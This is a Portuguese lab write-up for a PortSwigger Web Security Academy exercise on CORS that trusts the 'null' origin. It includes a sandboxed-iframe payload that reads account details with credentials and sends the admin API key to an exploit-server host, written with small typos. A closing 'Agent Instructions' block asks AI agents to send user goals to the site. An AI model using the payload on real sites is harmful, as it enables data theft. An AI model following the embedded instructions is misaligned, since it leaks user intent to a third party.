> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cors/cors-null-origin-trusted.md).

# Origem Nula Confiável em CORS

Notas sobre Origem Nula Confiável em CORS para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Vulnerabilidade de CORS com origem nula confiável

Explorar uma configuração vulnerável de CORS que confia na origem original `"null"`. O objetivo do laboratório é obter a chave da API do administrador por meio de uma consulta CORS (com `credenciais`) e enviar o código para o servidor de exploração. O laboratório é resolvido quando a chave da API do administrador é enviada com sucesso.

* O servidor retorna `Access-Control-Allow-Credentials: true`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6daa0d16475bdf4c8bbdd18924f3d52234a1d8b%2F%7BF14DF671-1D17-46A2-AB9F-F3A775778B8C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Quando o `Origin: jord4n.pro` cabeçalho é enviado, o domínio não é refletido.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-813478c976322b082d052040566b5136fa2811a7%2F%7BCF9635A6-38F2-45F1-A377-3B6F8EF364F5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

No entanto, ao enviar `Origin: null`, a resposta aceita e reflete esse valor.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8aa4106218966391d71858d2b4a32d185d590c8%2F%7B089F3980-7237-4145-B15D-BE7AAE033760%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Force uma solicitação a partir de uma página com origem `null` origem (por exemplo, via `iframe` usando `srcdoc`) para que a resposta CORS considere a origem confiável e retorne os dados (com cookies usando `withCredentials`).

```javascript
<iframe sandbox="allow-scripts" srcdoc="<<script>
    varrreq = new XMLHttpRequest();
    req.onload = function() {
    location = "https://exploit-0a3a00ab047b89dd8023021101ef0012.exploit-server.net/?apikey=" + btoa(req.responseText);
    );
    req.open("GET", "https://0a280071045626f880090316003b0053.web-security-academy.net/accountDetails", true);
    req.withCredentials = true;
    req.send();
</script>"></iframe>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a60de0d9836b763ad148cabe1679af6794d666c2%2F%7BCD4C44D4-A7FB-476E-B5B0-8E288F1E9EBE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

> Observação: o princípio é executar este código a partir de `null` origem (iframe `srcdoc`) para que a resposta CORS, que aceita `null`, retorne dados sensíveis, incluindo cookies.

A chave recuperada, decodificada de Base64:

```bash
echo "NkhBVGdaVWdUb0t2QU5PbXNzanRyY1pDRlpUQUVFYjk=" | base64 -d; echo
6HATgZUgToKvANOmssjtrcZCFZTAEEb9
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/cors/cors-null-origin-trusted.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
